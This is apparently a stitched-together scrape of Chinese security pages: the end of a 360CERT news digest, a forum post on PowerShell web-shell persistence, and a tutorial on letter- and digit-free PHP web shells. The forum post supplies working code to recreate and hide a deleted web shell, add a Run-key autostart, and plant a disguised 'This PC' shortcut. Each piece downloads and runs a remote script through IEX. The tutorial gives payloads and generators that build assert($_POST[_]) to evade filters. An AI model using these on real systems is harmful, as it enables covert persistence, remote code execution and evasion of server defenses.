2.新型macOS后门程序浮出水面，被指与黑客组织“海莲花”有关联
<http://t.cn/RmVoSGo>
## 【安全研究】
1.CVE-2018-1270:spring-messaging 远程代码执行漏洞分析
<http://t.cn/Rm5gSOI>
2.AutoSploit是一款以Python编码的自动化大规模开发工具
<http://t.cn/RmVoC2o>
3.goGetBucket – 一种渗透测试工具
<http://t.cn/RmVoNtF>
4.结构化文本工具
<http://t.cn/Rqn5exW>
## 【恶意软件】
1.特斯拉间谍软件的新变种被Fortinet的专家发现，恶意软件已经通过武器化的微软Word文档传播开来。
<http://t.cn/RmttkmP>
【以上信息整理自 <https://cert.360.cn/daily> 】
360CERT全称“360 Computer Emergency Readiness
Team”，我们致力于维护计算机网络空间安全，是360基于”协同联动，主动发现，快速响应”的指导原则，对全球重要网络安全事件进行快速预警、应急响应的安全协调中心。
微信公众号：360cert | 社区文章 |
# 前提0x00
已经获取到了一个web shell，假定web
shell的路径为G:\xampp\htdocs\backdoor\shell.php，读者自行测试时只需要修改ps1文件中这个路径即可。
# 猥琐0x01
利用power shell来搞一搞事情，powershell具有“不落地”即可执行的便捷之处。
**主要实现思路：** 首先ps1脚本先获取web shell的文件内容，然后这个脚本一直在进程中静默检测设定的web
shell文件是否存在，如果脚本检测到web shell被删除，则创建一个新的web
shell文件，内容为脚本运行时获取的内容，并继续静默检测管理员是否又一次将web shell删除。
**翠花，上代码：**
$shell_path = "G:\xampp\htdocs\backdoor\shell.php"
$shell_content = [System.IO.File]::ReadAllBytes($shell_path)
while($true){
$flag = Test-Path $shell_path
if($flag -eq "True"){ sleep 1 }
else{
[System.IO.File]::WriteAllBytes($shell_path, $shell_content)
$shell = Get-Item $shell_path
$shell.Attributes = "Readonly","system","notcontentindexed","hidden","archive"
sleep 1
}
}
这个system，Administrator，User都看不到文件，也删不掉文件的路子还是比较猥琐的吧，by the
way,这里不需要administrator权限，即可实现此功能！
笔者将其保存到vps里 <https://ub3r.cn/tools/backd00r/Backd00r-webshell.ps1>
然后用“不落地执行”的路子去搞
**翠花，上命令：**`powershell.exe -nop -windowstyle hidden -exec bypass -c "IEX
(New-Object
Net.WebClient).DownloadString('[https://ub3r.cn/tools/backd00r/Backd00r-webshell.ps1');Backd00r-webshell.ps1"](https://ub3r.cn/tools/backd00r/Backd00r-webshell.ps1'\);Backd00r-webshell.ps1")`
webshell下测试可以执行该命令
# 猥琐0x02
如果服务器重启，或者管理员结束可疑进程怎么办？不妨添加一个开机启动项试试！废话不多说，先上功能代码：
**翠花，上代码：**
$autorunKeyName = "Windows Powershell"
$autorunKeyVal = "powershell.exe -nop -windowstyle hidden -exec bypass -c ""IEX (New-Object Net.WebClient).DownloadString('https://ub3r.cn/tools/backd00r/Backd00r-webshell.ps1');Backd00r-webshell.ps1"""
$autoruns = Get-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Run
if (-not $autoruns.$autorunKeyName) {
New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name $autorunKeyName -Value $autorunKeyVal
}
elseif($autoruns.$autorunKeyName -ne $autorunKeyVal) {
Remove-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name $autorunKeyName
New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name $autorunKeyName -Value $autorunKeyVal
}
这段代码可以将$autorunKeyVal的值写进注册表里，开机就自动执行那条命令。
为了方便起见，可以将猥琐0x02和猥琐0x01结合起来，直接把猥琐0x01中的代码加上自启动的功能，其实就是把本段代码段添加到猥琐0x01的最前面即可，就不让翠花上代码了，直接上链接，大家可以自行下载测试：<https://ub3r.cn/tools/backd00r/Backd00r-webshell-Auto.ps1>
**翠花，上命令：**`powershell.exe -nop -windowstyle hidden -exec bypass -c "IEX
(New-Object
Net.WebClient).DownloadString('<https://ub3r.cn/tools/backd00r/Backd00r-webshell-Auto.ps1> ');Backd00r-webshell-Auto.ps1 "`
# 猥琐0x03
先看一个GIF，看我是如何优（wei）雅（suo）搞（kou）事（jiao）的：
完了……为了给大家看高清无码的GIF，文件大小超出限制了，那请大家移步我个人博客里的地址看这个GIF吧！
**翠花，上GIF：**
我就不信管理员点“此电脑”还会有顾虑！这样仿佛就像在我们自家吃饭的碗的内壁上，涂了一层十香软筋散，233333，上代码了！
**翠花，上代码：**
Function LNK_backdoor{
$Command = "powershell.exe -nop -windowstyle hidden -exec bypass -c ""IEX (New-Object Net.WebClient).DownloadString('https://ub3r.cn/tools/backd00r/Backd00r-webshell-Auto.ps1 ');Backd00r-webshell-Auto.ps1 """
##HIDE Computer Icon
$ErrorActionPreference = "SilentlyContinue"
If ($Error) {$Error.Clear()}
$RegistryPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"
If (Test-Path $RegistryPath) {
$Res = Get-ItemProperty -Path $RegistryPath -Name "HideIcons"
If (-Not($Res)) {
New-ItemProperty -Path $RegistryPath -Name "HideIcons" -Value "0" -PropertyType DWORD -Force | Out-Null
}
$Check = (Get-ItemProperty -Path $RegistryPath -Name "HideIcons").HideIcons
If ($Check -NE 0) {
New-ItemProperty -Path $RegistryPath -Name "HideIcons" -Value "0" -PropertyType DWORD -Force | Out-Null
}
}
$RegistryPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons"
If (-Not(Test-Path $RegistryPath)) {
New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer" -Name "HideDesktopIcons" -Force | Out-Null
New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons" -Name "NewStartPanel" -Force | Out-Null
}
$RegistryPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel"
If (-Not(Test-Path $RegistryPath)) {
New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons" -Name "NewStartPanel" -Force | Out-Null
}
If (Test-Path $RegistryPath) {
## -- My Computer
$Res = Get-ItemProperty -Path $RegistryPath -Name "{20D04FE0-3AEA-1069-A2D8-08002B30309D}"
If (-Not($Res)) {
New-ItemProperty -Path $RegistryPath -Name "{20D04FE0-3AEA-1069-A2D8-08002B30309D}" -Value "1" -PropertyType DWORD -Force | Out-Null
}
$Check = (Get-ItemProperty -Path $RegistryPath -Name "{20D04FE0-3AEA-1069-A2D8-08002B30309D}")."{20D04FE0-3AEA-1069-A2D8-08002B30309D}"
If ($Check -NE 1) {
New-ItemProperty -Path $RegistryPath -Name "{20D04FE0-3AEA-1069-A2D8-08002B30309D}" -Value "1" -PropertyType DWORD -Force | Out-Null
}
}
If ($Error) {$Error.Clear()}
##SHOW Computer Icon
#set-ItemProperty -Path 'HKCU:Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu' -Name "{20D04FE0-3AEA-1069-A2D8-08002B30309D}" -Value 0
#set-ItemProperty -Path 'HKCU:Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel' -Name "{20D04FE0-3AEA-1069-A2D8-08002B30309D}" -Value 0
#RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True
$Commandline = "/c explorer.exe /e,::{20D04FE0-3AEA-1069-A2D8-08002B30309D} | "
$Command = $Commandline + $Command
$get_path=New-Object -ComObject WScript.Shell;
$path = $get_path.SpecialFolders.Item('Desktop')
$WshShell = New-Object -comObject WScript.Shell
$My_Computer = 17
$Shell = new-object -comobject shell.application
$NSComputer = $Shell.Namespace($My_Computer)
$name = $NSComputer.self.name
$Shortcut = $WshShell.CreateShortcut($path+"\"+$name+".lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"
$Shortcut.WindowStyle = 7
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,15"
$Shortcut.Arguments = ' '+ $Command
$Shortcut.Save()
refresh
}
Function refresh{
$source = @"
using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
namespace FileEncryptProject.Algorithm
{
public class DesktopRefurbish
{
[DllImport("shell32.dll")]
public static extern void SHChangeNotify(HChangeNotifyEventID wEventId, HChangeNotifyFlags uFlags, IntPtr dwItem1, IntPtr dwItem2);
public static void DeskRef()
{
SHChangeNotify(HChangeNotifyEventID.SHCNE_ASSOCCHANGED, HChangeNotifyFlags.SHCNF_IDLIST, IntPtr.Zero, IntPtr.Zero);
}
}
#region public enum HChangeNotifyFlags
[Flags]
public enum HChangeNotifyFlags
{
SHCNF_DWORD = 0x0003,
SHCNF_IDLIST = 0x0000,
SHCNF_PATHA = 0x0001,
SHCNF_PATHW = 0x0005,
SHCNF_PRINTERA = 0x0002,
SHCNF_PRINTERW = 0x0006,
SHCNF_FLUSH = 0x1000,
SHCNF_FLUSHNOWAIT = 0x2000
}
#endregion//enum HChangeNotifyFlags
#region enum HChangeNotifyEventID
[Flags]
public enum HChangeNotifyEventID
{
SHCNE_ALLEVENTS = 0x7FFFFFFF,
SHCNE_ASSOCCHANGED = 0x08000000,
SHCNE_ATTRIBUTES = 0x00000800,
SHCNE_CREATE = 0x00000002,
SHCNE_DELETE = 0x00000004,
SHCNE_DRIVEADD = 0x00000100,
SHCNE_DRIVEADDGUI = 0x00010000,
SHCNE_DRIVEREMOVED = 0x00000080,
SHCNE_EXTENDED_EVENT = 0x04000000,
SHCNE_FREESPACE = 0x00040000,
SHCNE_MEDIAINSERTED = 0x00000020,
SHCNE_MEDIAREMOVED = 0x00000040,
SHCNE_MKDIR = 0x00000008,
SHCNE_NETSHARE = 0x00000200,
SHCNE_NETUNSHARE = 0x00000400,
SHCNE_RENAMEFOLDER = 0x00020000,
SHCNE_RENAMEITEM = 0x00000001,
SHCNE_RMDIR = 0x00000010,
SHCNE_SERVERDISCONNECT = 0x00004000,
SHCNE_UPDATEDIR = 0x00001000,
SHCNE_UPDATEIMAGE = 0x00008000,
}
#endregion
}
"@
Add-Type -TypeDefinition $source
[FileEncryptProject.Algorithm.DesktopRefurbish]::DeskRef()
}
LNK_backdoor
$Command大家想怎么改就怎么改吧！看大家自行发挥了！
新人第一次发帖，hin是紧张！求大家不喜勿喷哦~
附上自己刚搭起来的小博客：<https://ub3r.cn/>
以及以上的三个ps1文件地址：
[https://ub3r.cn/tools/backd00r/Backd00r-webshell.ps1
 ](https://ub3r.cn/tools/backd00r/Backd00r-webshell.ps1  ); 猥琐0x01
<https://ub3r.cn/tools/backd00r/Backd00r-webshell-Auto.ps1 猥琐0x02>
<https://ub3r.cn/tools/backd00r/Lnk-Backd00r.ps1 猥琐0x03> | 社区文章 |
# 写在前面
关于无字母数字Webshell这个话题，可以说是老生常谈了。但是一直以来我都没怎么去系统的研究过这个问题，在这里做一波研究与总结。所谓无字符webshell,其基本原型就是对以下代码的绕过:
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
# 基础知识
## PHP中的异或
来看这样一段代码:
<?php
echo "5"^"Z";
?>
结果将会输出o,我们来分析下原因,5的ASCII码是53,转成二进制是00110101,Z的ASCII码是90,转成二进制是01011010,将他们进行异或,为,也即十进制的111,为o.
我们深入一点来看看关于函数的执行的示例:
<?php
function o(){
echo "Hello,Von";
}
$_++;
$__= "5" ^ "Z";
$__();
?>
结果将能够成功输出"Hello,Von",我们来看一下执行的原理。
* $_++对_变量进行了自增操作,由于我们没有定义_的值,PHP会给_赋一个默认值NULL==0, **由此我们可以看出,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字**
* $__= "5" ^ "Z"这步我们上面已经见过了,将会赋给__这个变量一个值"o"
* 由于PHP的动态语言特性,PHP允许我们将字符串当成函数来处理,因此在这里面的$__()就相当于调用了o()
## PHP中的取反
来看下面这个例子:
>>> print("卢".encode("utf8"))
b'\xe5\x8d\xa2'
<?php
$_="卢";
print(~($_{1}));
print(~"\x8d");
// 输出rr
上面两个输出是相同的原因是因为里面$_{1}就是\x8d，至于为什么对\x8d进行取反就能得到r，具体原理解释起来涉及到取反、补码、十六进制编码等的相关知识，就略过不表了。(建议回去复习计组)
总之我们就需要知道，对于一个汉字进行~($x{0})或~($x{1})或~($x{2})的操作，可以得到某个ASCII码的字符值
## PHP5和PHP7的区别
* PHP5中，assert()是一个函数，我们可以用$_=assert;$_()这样的形式来执行代码。但在PHP7中，assert()变成了一个和eval()一样的语言结构，不再支持上面那种调用方法。(不过貌似这点存疑，我在PHP7.1中确实不允许再使用这种调用方法了，但是网上有人貌似在PHP7.0.12下还能这样调用，可能是7.1及以上不行??)
* PHP5中，是不支持($a)()这种调用方法的，但在PHP7中支持这种调用方法，因此支持这么写('phpinfo')();
## PHP中的短标签
PHP中有两种短标签，<??>和<?=?>。其中，<??>相当于对<?php>的替换。而<?=?>则是相当于<? echo>。例如:
<?= '111'?>
将会输出'111'
大部分文章说短标签需要在php.ini中设置short_open_tag为on才能开启短标签(默认是开启的，但似乎又默认注释，所以还是等于没开启)。但实际上在PHP5.4以后，无论short_open_tag是否开启，<?=?>这种写法总是适用的，<??>这种写法则需要short_open_tag开启才行。
## PHP中的反引号
PHP中，反引号可以起到命令执行的效果。
<?php
$_=`whoami`;
echo $_;
成功执行命令
如果我们利用上面短标签的写法，可以把代码简写为:
<?= `whoami`?>
# 方法解析
基本所有的思路都是利用无字符构造出相关字符如assert,来进行执行函数。
## 方法一
方法一就是利用我们上面提到的关于异或的知识, 我给出一个POC:
<?php
$shell = "assert";
$result1 = "";
$result2 = "";
for($num=0;$num<=strlen($shell);$num++)
{
for($x=33;$x<=126;$x++)
{
if(judge(chr($x)))
{
for($y=33;$y<=126;$y++)
{
if(judge(chr($y)))
{
$f = chr($x)^chr($y);
if($f == $shell[$num])
{
$result1 .= chr($x);
$result2 .= chr($y);
break 2;
}
}
}
}
}
}
echo $result1;
echo "<br>";
echo $result2;
function judge($c)
{
if(!preg_match('/[a-z0-9]/is',$c))
{
return true;
}
return false;
}
这个POC可以将"assert"变成两个字符串异或的结果。为了便于表示，生成字符串的范围我均控制为可见字符(即ASCII为33~126)，如果要使POC适用范围更广，可以改为0~126，只不过对于不可见字符，需要用url编码表示。
使用这个POC，我们可以得到:
<?php
$_ = "!((%)("^"@[[@[\\"; //构造出assert
$__ = "!+/(("^"~{`{|"; //构造出_POST
$___ = $$__; //$___ = $_POST
$_($___[_]); //assert($_POST[_]);
代入此题的环境，可以看到，成功执行命令
需要注意的是，由于我们的Payload中含有一些特殊字符，我们我们需要对Payload进行一次URL编码。
## 方法二
方法二就是利用取反的原理，对汉字取反获得字符。我给出一个POC,从3000+个汉字中获得通过取反得到assert。
<?php
header("Content-type:text/html;charset=utf-8");
$shell = "assert";
$result = "";
$arr =array();
$word = "一乙二十丁厂七卜人入八九几儿了力乃刀又三于干亏士工土才寸下大丈与万上小口巾山千乞川亿个勺久凡及夕丸么广亡门义之尸弓己已子卫也女飞刃习叉马乡丰王井开夫天无元专云扎艺
木五支厅不太犬区历尤友匹车巨牙屯比互切瓦止少日中冈贝内水见午牛手毛气升长仁什片仆化仇币仍仅斤爪反介父从今凶分乏公仓月氏勿欠风丹匀乌凤勾文六方火为斗忆订计户认心尺引
丑巴孔队办以允予劝双书幻玉刊示末未击打巧正扑扒功扔去甘世古节本术可丙左厉右石布龙平灭轧东卡北占业旧帅归且旦目叶甲申叮电号田由史只央兄叼叫另叨叹四生失禾丘付仗代仙们
仪白仔他斥瓜乎丛令用甩印乐句匆册犯外处冬鸟务包饥主市立闪兰半汁汇头汉宁穴它讨写让礼训必议讯记永司尼民出辽奶奴加召皮边发孕圣对台矛纠母幼丝式刑动扛寺吉扣考托老执巩圾
扩扫地扬场耳共芒亚芝朽朴机权过臣再协西压厌在有百存而页匠夸夺灰达列死成夹轨邪划迈毕至此贞师尘尖劣光当早吐吓虫曲团同吊吃因吸吗屿帆岁回岂刚则肉网年朱先丢舌竹迁乔伟传
乒乓休伍伏优伐延件任伤价份华仰仿伙伪自血向似后行舟全会杀合兆企众爷伞创肌朵杂危旬旨负各名多争色壮冲冰庄庆亦刘齐交次衣产决充妄闭问闯羊并关米灯州汗污江池汤忙兴宇守宅
字安讲军许论农讽设访寻那迅尽导异孙阵阳收阶阴防奸如妇好她妈戏羽观欢买红纤级约纪驰巡寿弄麦形进戒吞远违运扶抚坛技坏扰拒找批扯址走抄坝贡攻赤折抓扮抢孝均抛投坟抗坑坊抖
护壳志扭块声把报却劫芽花芹芬苍芳严芦劳克苏杆杠杜材村杏极李杨求更束豆两丽医辰励否还歼来连步坚旱盯呈时吴助县里呆园旷围呀吨足邮男困吵串员听吩吹呜吧吼别岗帐财针钉告我
乱利秃秀私每兵估体何但伸作伯伶佣低你住位伴身皂佛近彻役返余希坐谷妥含邻岔肝肚肠龟免狂犹角删条卵岛迎饭饮系言冻状亩况床库疗应冷这序辛弃冶忘闲间闷判灶灿弟汪沙汽沃泛沟
没沈沉怀忧快完宋宏牢究穷灾良证启评补初社识诉诊词译君灵即层尿尾迟局改张忌际陆阿陈阻附妙妖妨努忍劲鸡驱纯纱纳纲驳纵纷纸纹纺驴纽奉玩环武青责现表规抹拢拔拣担坦押抽拐拖
拍者顶拆拥抵拘势抱垃拉拦拌幸招坡披拨择抬其取苦若茂苹苗英范直茄茎茅林枝杯柜析板松枪构杰述枕丧或画卧事刺枣雨卖矿码厕奔奇奋态欧垄妻轰顷转斩轮软到非叔肯齿些虎虏肾贤尚
旺具果味昆国昌畅明易昂典固忠咐呼鸣咏呢岸岩帖罗帜岭凯败贩购图钓制知垂牧物乖刮秆和季委佳侍供使例版侄侦侧凭侨佩货依的迫质欣征往爬彼径所舍金命斧爸采受乳贪念贫肤肺肢肿
胀朋股肥服胁周昏鱼兔狐忽狗备饰饱饲变京享店夜庙府底剂郊废净盲放刻育闸闹郑券卷单炒炊炕炎炉沫浅法泄河沾泪油泊沿泡注泻泳泥沸波泼泽治怖性怕怜怪学宝宗定宜审宙官空帘实试
郎诗肩房诚衬衫视话诞询该详建肃录隶居届刷屈弦承孟孤陕降限妹姑姐姓始驾参艰线练组细驶织终驻驼绍经贯奏春帮珍玻毒型挂封持项垮挎城挠政赴赵挡挺括拴拾挑指垫挣挤拼挖按挥挪
某甚革荐巷带草茧茶荒茫荡荣故胡南药标枯柄栋相查柏柳柱柿栏树要咸威歪研砖厘厚砌砍面耐耍牵残殃轻鸦皆背战点临览竖省削尝是盼眨哄显哑冒映星昨畏趴胃贵界虹虾蚁思蚂虽品咽骂
哗咱响哈咬咳哪炭峡罚贱贴骨钞钟钢钥钩卸缸拜看矩怎牲选适秒香种秋科重复竿段便俩贷顺修保促侮俭俗俘信皇泉鬼侵追俊盾待律很须叙剑逃食盆胆胜胞胖脉勉狭狮独狡狱狠贸怨急饶蚀
饺饼弯将奖哀亭亮度迹庭疮疯疫疤姿亲音帝施闻阀阁差养美姜叛送类迷前首逆总炼炸炮烂剃洁洪洒浇浊洞测洗活派洽染济洋洲浑浓津恒恢恰恼恨举觉宣室宫宪突穿窃客冠语扁袄祖神祝误
诱说诵垦退既屋昼费陡眉孩除险院娃姥姨姻娇怒架贺盈勇怠柔垒绑绒结绕骄绘给络骆绝绞统耕耗艳泰珠班素蚕顽盏匪捞栽捕振载赶起盐捎捏埋捉捆捐损都哲逝捡换挽热恐壶挨耻耽恭莲莫
荷获晋恶真框桂档桐株桥桃格校核样根索哥速逗栗配翅辱唇夏础破原套逐烈殊顾轿较顿毙致柴桌虑监紧党晒眠晓鸭晃晌晕蚊哨哭恩唤啊唉罢峰圆贼贿钱钳钻铁铃铅缺氧特牺造乘敌秤租积
秧秩称秘透笔笑笋债借值倚倾倒倘俱倡候俯倍倦健臭射躬息徒徐舰舱般航途拿爹爱颂翁脆脂胸胳脏胶脑狸狼逢留皱饿恋桨浆衰高席准座脊症病疾疼疲效离唐资凉站剖竞部旁旅畜阅羞瓶拳
粉料益兼烤烘烦烧烛烟递涛浙涝酒涉消浩海涂浴浮流润浪浸涨烫涌悟悄悔悦害宽家宵宴宾窄容宰案请朗诸读扇袜袖袍被祥课谁调冤谅谈谊剥恳展剧屑弱陵陶陷陪娱娘通能难预桑绢绣验继
球理捧堵描域掩捷排掉堆推掀授教掏掠培接控探据掘职基著勒黄萌萝菌菜萄菊萍菠营械梦梢梅检梳梯桶救副票戚爽聋袭盛雪辅辆虚雀堂常匙晨睁眯眼悬野啦晚啄距跃略蛇累唱患唯崖崭崇
圈铜铲银甜梨犁移笨笼笛符第敏做袋悠偿偶偷您售停偏假得衔盘船斜盒鸽悉欲彩领脚脖脸脱象够猜猪猎猫猛馅馆凑减毫麻痒痕廊康庸鹿盗章竟商族旋望率着盖粘粗粒断剪兽清添淋淹渠渐
混渔淘液淡深婆梁渗情惜惭悼惧惕惊惨惯寇寄宿窑密谋谎祸谜逮敢屠弹随蛋隆隐婚婶颈绩绪续骑绳维绵绸绿琴斑替款堪搭塔越趁趋超提堤博揭喜插揪搜煮援裁搁搂搅握揉斯期欺联散惹葬
葛董葡敬葱落朝辜葵棒棋植森椅椒棵棍棉棚棕惠惑逼厨厦硬确雁殖裂雄暂雅辈悲紫辉敞赏掌晴暑最量喷晶喇遇喊景践跌跑遗蛙蛛蜓喝喂喘喉幅帽赌赔黑铸铺链销锁锄锅锈锋锐短智毯鹅剩
稍程稀税筐等筑策筛筒答筋筝傲傅牌堡集焦傍储奥街惩御循艇舒番释禽腊脾腔鲁猾猴然馋装蛮就痛童阔善羡普粪尊道曾焰港湖渣湿温渴滑湾渡游滋溉愤慌惰愧愉慨割寒富窜窝窗遍裕裤裙
谢谣谦属屡强粥疏隔隙絮嫂登缎缓编骗缘瑞魂肆摄摸填搏塌鼓摆携搬摇搞塘摊蒜勤鹊蓝墓幕蓬蓄蒙蒸献禁楚想槐榆楼概赖酬感碍碑碎碰碗碌雷零雾雹输督龄鉴睛睡睬鄙愚暖盟歇暗照跨跳
跪路跟遣蛾蜂嗓置罪罩错锡锣锤锦键锯矮辞稠愁筹签简毁舅鼠催傻像躲微愈遥腰腥腹腾腿触解酱痰廉新韵意粮数煎塑慈煤煌满漠源滤滥滔溪溜滚滨粱滩慎誉塞谨福群殿辟障嫌嫁叠缝缠静
碧璃墙撇嘉摧截誓境摘摔聚蔽慕暮蔑模榴榜榨歌遭酷酿酸磁愿需弊裳颗嗽蜻蜡蝇蜘赚锹锻舞稳算箩管僚鼻魄貌膜膊膀鲜疑馒裹敲豪膏遮腐瘦辣竭端旗精歉熄熔漆漂漫滴演漏慢寨赛察蜜谱
嫩翠熊凳骡缩慧撕撒趣趟撑播撞撤增聪鞋蕉蔬横槽樱橡飘醋醉震霉瞒题暴瞎影踢踏踩踪蝶蝴嘱墨镇靠稻黎稿稼箱箭篇僵躺僻德艘膝膛熟摩颜毅糊遵潜潮懂额慰劈操燕薯薪薄颠橘整融醒餐
嘴蹄器赠默镜赞篮邀衡膨雕磨凝辨辩糖糕燃澡激懒壁避缴戴擦鞠藏霜霞瞧蹈螺穗繁辫赢糟糠燥臂翼骤鞭覆蹦镰翻鹰警攀蹲颤瓣爆疆壤耀躁嚼嚷籍魔灌蠢霸露囊罐匕刁丐歹戈夭仑讥冗邓艾
夯凸卢叭叽皿凹囚矢乍尔冯玄邦迂邢芋芍吏夷吁吕吆屹廷迄臼仲伦伊肋旭匈凫妆亥汛讳讶讹讼诀弛阱驮驯纫玖玛韧抠扼汞扳抡坎坞抑拟抒芙芜苇芥芯芭杖杉巫杈甫匣轩卤肖吱吠呕呐吟呛
吻吭邑囤吮岖牡佑佃伺囱肛肘甸狈鸠彤灸刨庇吝庐闰兑灼沐沛汰沥沦汹沧沪忱诅诈罕屁坠妓姊妒纬玫卦坷坯拓坪坤拄拧拂拙拇拗茉昔苛苫苟苞茁苔枉枢枚枫杭郁矾奈奄殴歧卓昙哎咕呵咙
呻啰咒咆咖帕账贬贮氛秉岳侠侥侣侈卑刽刹肴觅忿瓮肮肪狞庞疟疙疚卒氓炬沽沮泣泞泌沼怔怯宠宛衩祈诡帚屉弧弥陋陌函姆虱叁绅驹绊绎契贰玷玲珊拭拷拱挟垢垛拯荆茸茬荚茵茴荞荠荤
荧荔栈柑栅柠枷勃柬砂泵砚鸥轴韭虐昧盹咧昵昭盅勋哆咪哟幽钙钝钠钦钧钮毡氢秕俏俄俐侯徊衍胚胧胎狰饵峦奕咨飒闺闽籽娄烁炫洼柒涎洛恃恍恬恤宦诫诬祠诲屏屎逊陨姚娜蚤骇耘耙秦
匿埂捂捍袁捌挫挚捣捅埃耿聂荸莽莱莉莹莺梆栖桦栓桅桩贾酌砸砰砾殉逞哮唠哺剔蚌蚜畔蚣蚪蚓哩圃鸯唁哼唆峭唧峻赂赃钾铆氨秫笆俺赁倔殷耸舀豺豹颁胯胰脐脓逛卿鸵鸳馁凌凄衷郭斋
疹紊瓷羔烙浦涡涣涤涧涕涩悍悯窍诺诽袒谆祟恕娩骏琐麸琉琅措捺捶赦埠捻掐掂掖掷掸掺勘聊娶菱菲萎菩萤乾萧萨菇彬梗梧梭曹酝酗厢硅硕奢盔匾颅彪眶晤曼晦冕啡畦趾啃蛆蚯蛉蛀唬唾
啤啥啸崎逻崔崩婴赊铐铛铝铡铣铭矫秸秽笙笤偎傀躯兜衅徘徙舶舷舵敛翎脯逸凰猖祭烹庶庵痊阎阐眷焊焕鸿涯淑淌淮淆渊淫淳淤淀涮涵惦悴惋寂窒谍谐裆袱祷谒谓谚尉堕隅婉颇绰绷综绽
缀巢琳琢琼揍堰揩揽揖彭揣搀搓壹搔葫募蒋蒂韩棱椰焚椎棺榔椭粟棘酣酥硝硫颊雳翘凿棠晰鼎喳遏晾畴跋跛蛔蜒蛤鹃喻啼喧嵌赋赎赐锉锌甥掰氮氯黍筏牍粤逾腌腋腕猩猬惫敦痘痢痪竣翔
奠遂焙滞湘渤渺溃溅湃愕惶寓窖窘雇谤犀隘媒媚婿缅缆缔缕骚瑟鹉瑰搪聘斟靴靶蓖蒿蒲蓉楔椿楷榄楞楣酪碘硼碉辐辑频睹睦瞄嗜嗦暇畸跷跺蜈蜗蜕蛹嗅嗡嗤署蜀幌锚锥锨锭锰稚颓筷魁衙
腻腮腺鹏肄猿颖煞雏馍馏禀痹廓痴靖誊漓溢溯溶滓溺寞窥窟寝褂裸谬媳嫉缚缤剿赘熬赫蔫摹蔓蔗蔼熙蔚兢榛榕酵碟碴碱碳辕辖雌墅嘁踊蝉嘀幔镀舔熏箍箕箫舆僧孵瘩瘟彰粹漱漩漾慷寡寥
谭褐褪隧嫡缨撵撩撮撬擒墩撰鞍蕊蕴樊樟橄敷豌醇磕磅碾憋嘶嘲嘹蝠蝎蝌蝗蝙嘿幢镊镐稽篓膘鲤鲫褒瘪瘤瘫凛澎潭潦澳潘澈澜澄憔懊憎翩褥谴鹤憨履嬉豫缭撼擂擅蕾薛薇擎翰噩橱橙瓢蟥
霍霎辙冀踱蹂蟆螃螟噪鹦黔穆篡篷篙篱儒膳鲸瘾瘸糙燎濒憾懈窿缰壕藐檬檐檩檀礁磷了瞬瞳瞪曙蹋蟋蟀嚎赡镣魏簇儡徽爵朦臊鳄糜癌懦豁臀藕藤瞻嚣鳍癞瀑襟璧戳攒孽蘑藻鳖蹭蹬簸簿蟹
靡癣羹鬓攘蠕巍鳞糯譬霹躏髓蘸镶瓤矗";
function mb_str_split( $string ) {
return preg_split('/(?<!^)(?!$)/u', $string );
}
foreach (mb_str_split($word) as $c)
{
$arr[] = $c;
}
for ($x=0;$x<strlen($shell);$x++)
{
for ($y=0;$y<count($arr);$y++)
{
$k = $arr[$y];
if ($shell[$x] == ~($k{1}))
{
$result .= $k;
break;
}
}
}
echo $result;
根据上面这个POC，我们可以知道，由"极区区皮十勺"可以得到"assert";由"寸小欠立"可以得到"POST"可以得到一个exp：
<?php
$_++; //得到1，此时$_=1
$__ = "极";
$___ = ~($__{$_}); //得到a，此时$___="a"
$__ = "区";
$___ .= ~($__{$_}); //得到s，此时$___="as"
$___ .= ~($__{$_}); //此时$___="ass"
$__ = "皮";
$___ .= ~($__{$_}); //得到e，此时$___="asse"
$__ = "十";
$___ .= ~($__{$_}); //得到r，此时$___="asser"
$__ = "勺";
$___ .= ~($__{$_}); //得到t，此时$___="assert"
$____ = '_'; //$____='_'
$__ = "寸";
$____ .= ~($__{$_}); //得到P，此时$____="_P"
$__ = "小";
$____ .= ~($__{$_}); //得到O，此时$____="_PO"
$__ = "欠";
$____ .= ~($__{$_}); //得到S，此时$____="_POS"
$__ = "立";
$____ .= ~($__{$_}); //得到T，此时$____="_POST"
$_ = $$____; //$_ = $_POST
$___($_[_]); //assert($_POST[_])
成功执行命令，不过由于相同的原因，我们需要对exp进行URL编码才能正常使用。
这里还有一个需要注意的点是在PHP5下我们需要使用:
$__ = "欠";
$____ .= ~($__{$_});
这种写法而不能直接使用:
$____ .= ~("欠"{$_});
后者是PHP7中的语法。
### 升级版
在上面的学习过程中，可以知道:
$_="卢";
print(~($_{1}));
print(~"\x8d");
这两种写法其实是等价的。所以如果把EXP中的~("欠"{1})写成~"\x8d"这种形式，可以缩减不少字符。给出POC:
def get(shell):
hexbit=''.join(map(lambda x: hex(~(-(256-ord(x)))),shell))
hexbit = hexbit.replace('0x','%')
print(hexbit)
get('assert')
get('_POST')
利用这个POC，我把上面的EXP缩减为:
<?php
$_ = ~"%9e%8c%8c%9a%8d%8b"; //得到assert，此时$_="assert"
$__ = ~"%a0%af%b0%ac%ab"; //得到_POST，此时$__="_POST"
$___ = $$__; //$___=$_POST
$_($___[_]); //assert($_POST[_])
